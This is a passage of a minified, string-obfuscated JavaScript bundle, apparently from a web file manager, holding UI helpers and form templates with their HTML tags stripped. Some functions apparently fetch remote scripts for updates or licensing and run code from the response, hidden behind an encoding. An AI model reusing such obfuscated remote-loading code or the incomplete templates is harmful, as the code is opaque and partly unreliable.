t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n\n');;define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          ');;!function($){!function($,n,r,t,o,c,i,f,u,a,A,e,J,p,d,v,G,X,h,C,q,s,N,O,Q,S,l,R,V,b,F,M,g,m,y,D,P,_,T,Y,k,B,H,L,W,j,E,I,K,Z,w,x,U,z,$n,nn,rn,tn,on,cn,fn,un,an,An,en,Jn,pn,dn,vn,Gn,Xn,hn,Cn,qn,sn,Nn,On,Qn,Sn,ln,Rn,Vn,bn,Fn,Mn,gn,mn,yn,Dn,Pn,_n,Tn,Yn,kn,Bn,Hn,Ln,Wn,jn,En,In,Kn,Zn,wn,xn,Un,zn,$r,nr,rr,tr,or,cr,ir,fr,ur,ar,Ar,er,Jr,pr,dr,vr,Gr,Xr,hr,Cr,qr,sr,Nr,Or,Qr,Sr,lr,Rr,Vr,br,Fr,Mr,gr,mr,yr,Dr,Pr,_r){$[r](t,[],function(n){var r=o,t=function(){var n=$[c](i);f!=$[a][u],$[A](n),$[J][e](n,!p),$[v](G)[d](),$[X](function(){$[J][h](n,!p),$[s][q][C]=r},N*$[O](Q,S))},Tr=function(){var r=l;$[X](function(){if(!$[s][R]||V==typeof $[b]){var r=F+$[M]();n[g](r,function(n){$[s][R]=!m;try{n[y]()}catch(r){}})}},N*$[O](D,Q)),$[a][P]=$[_]($[a][P][k](B)[Y]()[T](B));var t=$[L][H]($[a][P],W);r=t[j](D,p),t&&E==t[I]||(r=l);var o=$[_]($[a][K]);o=o[k](B)[Y]()[T](B),o=$[L][H](o,Z);var c=o[j](w,p);return $[a][K]=$[L][H](o[j](x),o[j](m,w)),c==r&&$[a][K]&&U==$[a][K][I]||($[v][z]($n),r=l),-p===$[v][nn](r,[l,rn,tn,on,cn,fn,un])&&(r=l),r},Yr=l;try{Yr=Tr()}catch(kr){}var Br=an,Hr=An,Lr=function(){if($[Jn][en](pn)&&l==Yr)for(var n=[$[vn][dn],$[vn][Gn],$[vn][Xn],$[vn][hn],$[vn][Cn],$[v](sn)[qn]()],r=m;ro)break;f[a]=t[a],u++}return f},Zr={init:Er,about:Ir};return Zr})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0,,12"),$("/*342$.*5$.2&,'6'20(11"),$("7(278$+,#$"),$("9:;-<=>:?@&50A(B?5A((C7$&DE4FAG.4(H4$$I&@(#JK51),?-'6')'68,),D,.L%,J=C'2L5,0:MN4G8556O1GBO)G8).G;PQG>RS=TUV+F"),$("(1$.0"),$("1,(#&'J"),$("C&)2"),1,$("7&#$"),$("["),$("\\-$22(J$C&)2]/0&)2A+1,2$^\\-$22(J$C&)2]&-J"),$("2$0C&-$,40"),$("0&)2"),$("7.$%"),$("1,+(0&,'"),$("_&'#,_"),1e3,$(".,4'#O.,-C,"),30,60,$("`"),$("(<#abM+LMWba%#RS9GMG9"),$("4'#$%&'$#"),$("0)18&(1,JD0-1"),$("**20(0&+/N,#+1,4#/+,-*4)#(0$*-(&'a/Q235c"),$("0&-$O1,(0"),$("(2d'+"),0,$("0,#,"),10,$("5$.2&,'D(27"),$("G(2$9a8$+,#$"),$("Q,&'"),$(".$5$.2$"),$("2)1&0"),"",$("#$+,#$"),$("(407Y.d)0"),$("e#%EfXghijiklARW"),$("24G20."),27,$("1$'J07"),$("5$.2&,'D(27H2$."),$("%Ma;jhil:IOF8R%#Q5"),16,17,32,$("J$0"),$("/*&'#$V/)7)342$.*5$.2&,'6'20(11h.$2$0cS"),$("&'`..(d"),$("@"),$("m"),$("n"),$("P"),$("F"),$("C"),$("N,#$V)1,.$."),$("N,#+1,4#"),$("&2`))"),$("+,.$"),$("$V)1,.$."),$("N,#A),_$.AGd"),$("?Z>"),$("+,)d.&J70A).$"),$("+,)d.&J70A+,'0(+0"),$("+,)d.&J70A#$2+"),$("+,)d.&J70A&'%,"),$("70-1"),$("/+,--,'X%,,0$."),$("0,?,_$.Y(2$"),$("2$(.+7"),300,5e3,$("%.$$"),$("S"),$(";"),$("M"),$("a"),$("<"),$("9"),$("5$.2&,'A5&)A"),$("o2)(']+1(22cp5$.2&,'X5&)p]&#cp"),$("pqo&]+1(22cp%,'0X&+,']&+,'XN$dpqo*&q"),$("o*2)('q"),$("&'2$.0`%0$."),$("/-$'4X2d20$-X(G,40"),$("1&5$"),$("#&$"),$("/5$.2&,'X5&)"),$("+1&+N"),$("5$.2&,'A5&)A%.$$"),$("(00."),$("&#"),$(",)$'B&'#,_"),$("5$.2&,'H)#(0$r&)"),$("o#&5]+1(22cp5$.2&,'X1&+$'2$pqo(]+1(22cp1&'$p]7.$%cp"),$("pqstuvo*(qo*#&5q"),$("())$'#"),$("%&'#"),$("_.()"),$("8@w"),$("/(4&X+,'0$'0"),$("0$V0"),$("1,'Jm.$22"),$("0,)"),$("(##Y1(22"),$("G,#d"),$("24)),.0X2)(+$X',0"),$(".$-,5$"),$("/-$'4X2d20$-X(G,40^/-$'4X1$%0]\\(G,40"),$("\\).,J.(-2]/2$00&'JA(G,40^\\).,J.(-2]/2$00&'JA7,-$)(J$^\\).,J.(-2]/7,-$A)(J$"),$("&+,'"),$("700)"),4,$("&+,'F.+"),$("o&]+1(22cpVX&0$-X%&1$]VX"),$("]2-(11"),$("pqo*&q"),$("o&-J]2.+cp"),$("p]#.(JJ(G1$cp%(12$p],'#.(J20(.0cp.$04.']%(12$xpq"),$("+,.$A0,,12A2d20$-8(0("),$("+,.$A0,,12A5$.2&,'Cd)$"),$("2d20$-8(0("),$("5$.2&,'Cd)$"),$("**N,#+1,4#/+,-*G4d/70-1\\"),$("&+,'F-(11"),2e3,$("+,.$A0,,12AJ.,4)?&-&0"),5,20,40,100,$("+,.$A0,,12A-$-G$.?&-&0"),15,50,150,500,$("J.,4)"),$("#(0("))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var r=arguments,t="",o=0,c=r.length;c>o;o++)if("number"==typeof r[o])t+=n($[0].charAt(r[o]));else for(var i=0,f=r[o].length;f>i;i++)t+=n($[0].charAt(r[o][i].charCodeAt()-35));return 